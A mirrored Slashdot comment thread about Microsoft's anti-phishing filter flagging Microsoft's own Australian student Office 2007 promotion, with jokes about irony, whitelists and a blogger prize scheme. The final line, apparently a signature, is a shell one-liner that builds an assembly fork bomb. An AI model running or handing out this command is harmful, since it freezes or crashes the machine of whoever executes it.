Slashdot Mirror
MS Promotion Site Flagged By MS Anti-Phishing
Stony Stevenson writes "Microsoft has launched a marketing campaign that lets any student at an Australian university buy the Ultimate edition of Office 2007, usual price $1,150, for only $75 — a discount of about 93%. But when students go to the promotion site, Microsoft Live OneCare pops up a warning that the site may be a phishing scam.
The warning reads: 'Phishing filter has determined this might be a phishing website. We recommend that you do not give any of your information to such websites. Phishing websites impersonate trustworthy websites for the purpose of obtaining your personal or financial information.'"
That's a tough problem because the easy way to solve it is to add a whitelist to the phishing filter, but that is just asking for security problems (think malware hijacking the whitelist). I guess they will actually just have to make the filter work...
Slightly off topic, but can we motion to come up with a new 'M$' logo?
1. The guy is barely involved within the company anymore.
2. Bill Gates has started a profoundly large charity foundation
3. Someone could make some downright hilarious steve ballmer cyborg icons with minimal effort.
Am I the only one feeling this?
Bribing Pro Bloggers with laptops? Bad. Very bad.
Bribing amateur bloggers with scooters/laptops/mp3 players? No problem
From the website:
Enter the Golden Blog Awards to win great prizes
All you have to do is mention the word 'office' and the link 'www.itsnotcheating.com.au' in your blog. Winner is judged on creativity of the story.
The blog or video with highest number of supporting comments will have the chance to win this fab music pack.
I don't think that needs comment.
(PS: The original text cited is in all caps, which set off Slashdot's "Lameness filter". Define irony)
According to TFA, the deal is for students of AU universities with volume licences. In the education volume liscences I have seen, the liscence extends to the students. Which means the school just burns the student a copy. For nothing (or for a materials fee). The school already paid for the student to have it. Why would the student fork out additional money to MS?
They probably left in in the anti-phishing filter deliberately. Irony generates news, and news generate truckloads of free exposure.
"Any publicity is good publicity, as long as they spell my name right"
We all think it's ironic that MS software blocks an MS promotion campaign. We generated a truckload of comments laughing our asses off.
The REAL irony that escapes us is that we gentoo- and ubuntu- running geeks all talk about it, laugh about it, tell our friends, family and collegues in the office about it, and get the word out to a lot of people, a decent percentage of which (who have student IDs in AU and/or access to someone with such) will hear "blah blah office 2k7 ultimate for 75A$ blah blah microsoft blooper blah". And guess what those of them who use office and can do the math will do then.
Thus, thanks to us slashdot crowd, myself being a gentoo-desktop-running Aussie student (who also runs Windows on some of his machines) who is neither religious about being anti-microsoft nor thinks they do not deserve a sane amount of money for a software suite I wish to use, I promptly went out and paid microsoft 75$. Good'on'em.
And looking back at our beloved slashdot crowd, I think that I, for one, welcome our new microsoft-promoting slashdotter overlords.
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...doesn't know what the right hand is doing. Back when I worked for an ISP a few years ago, we received a threatening letter from EBay demaning the immediate disconnection of one of our customers for running a phishing site. And better speed it up, because they'd already reported it to the FBI as well. Of course, we pointed out to ebay that the site in question was actually one of their own subsidiaries. (they had links to it from all over the place on the main ebay.com website, even). Sure we can cut it off, but I really don't think you'd want us to. By the way, might want to call the FBI back to tell them "never mind", while you're at it. *sigh*
The guys who write the anti phishing stuff would probably not be too keen on that sort of thing anyway.
If you read Showstopper the Dec guys who were hired to create Windows NT used to call traditional Microsoft OSs as Microslop. Interestingly, Bill Gates approved of this contempt. He was quoted as saying that he "Didn't hire Dave Cutler for his charm".
It makes sense really, if your company is bad at something - protecting OSs from malicious programs on the same machine before NT, and protecting OSs from malicious programs on other machines before the recent push to security, and you have a lot of money, you solve it by hiring people from outside. And then when people inside the company complain about them being obnoxious, you say the sort of thing that Gates said about Cutler.
Ok, I'm not sure if the current security stuff is quite as radical as this - it seems to be done by the team that did the original code - but if they want it to work, they need it to be. And they definitely shouldn't have special cases that allows Microsoft stuff to sneak under the defenses, since it compromises the whole system.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;